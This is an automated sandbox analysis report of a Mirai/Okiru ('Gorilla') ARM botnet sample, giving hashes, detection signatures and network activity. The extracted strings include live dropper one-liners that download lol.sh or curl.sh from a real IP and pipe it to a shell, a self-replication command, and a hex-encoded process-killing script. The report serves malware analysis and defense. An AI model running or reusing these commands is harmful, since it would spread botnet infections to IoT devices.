Linux Analysis Report
arm6.nn-20241014-0317.elf

Overview

General Information

Sample name: arm6.nn-20241014-0317.elf
Analysis ID: 1532894
MD5: 34d5e238608444ac45291803bf143825
SHA1: 393adfe7a0fd6287b19e1fa7ee82a17a7cefe598
SHA256: 55bce839ded928cdf0a87339ae335aa9efbdd0e6928c949f4916cd7a7ab9b2ff
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm6.nn-20241014-0317.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm6.nn-20241014-0317.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: arm6.nn-20241014-0317.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: arm6.nn-20241014-0317.elf String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;/bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;/bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;curl http://87.120.84.247/curl.sh -o- | sh87.120.84.247GET /dlr. HTTP/1.0
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm6.nn-20241014-0317.elf String found in binary or memory: http://87.120.84.247/
Source: arm6.nn-20241014-0317.elf String found in binary or memory: http://87.120.84.247/curl.sh
Source: arm6.nn-20241014-0317.elf String found in binary or memory: http://87.120.84.247/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;/bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;/bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;curl http://87.120.84.247/curl.sh -o- | sh87.120.84.247GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4@
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal72.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm6.nn-20241014-0317.elf (PID: 5512) Queries kernel information via 'uname': Jump to behavior
Source: arm6.nn-20241014-0317.elf, 5512.1.00007ffe8caad000.00007ffe8cace000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.nn-20241014-0317.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.nn-20241014-0317.elf
Source: arm6.nn-20241014-0317.elf, 5512.1.0000560aaa54b000.0000560aaa679000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.nn-20241014-0317.elf, 5512.1.0000560aaa54b000.0000560aaa679000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm6.nn-20241014-0317.elf, 5512.1.00007ffe8caad000.00007ffe8cace000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm6.nn-20241014-0317.elf, 5512.1.00007ffe8caad000.00007ffe8cace000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm6.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007f63a4017000.00007f63a4032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm6.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007f63a4017000.00007f63a4032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.nn-20241014-0317.elf PID: 5512, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm6.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007f63a4017000.00007f63a4032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm6.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007f63a4017000.00007f63a4032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.nn-20241014-0317.elf PID: 5512, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.125.190.26
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true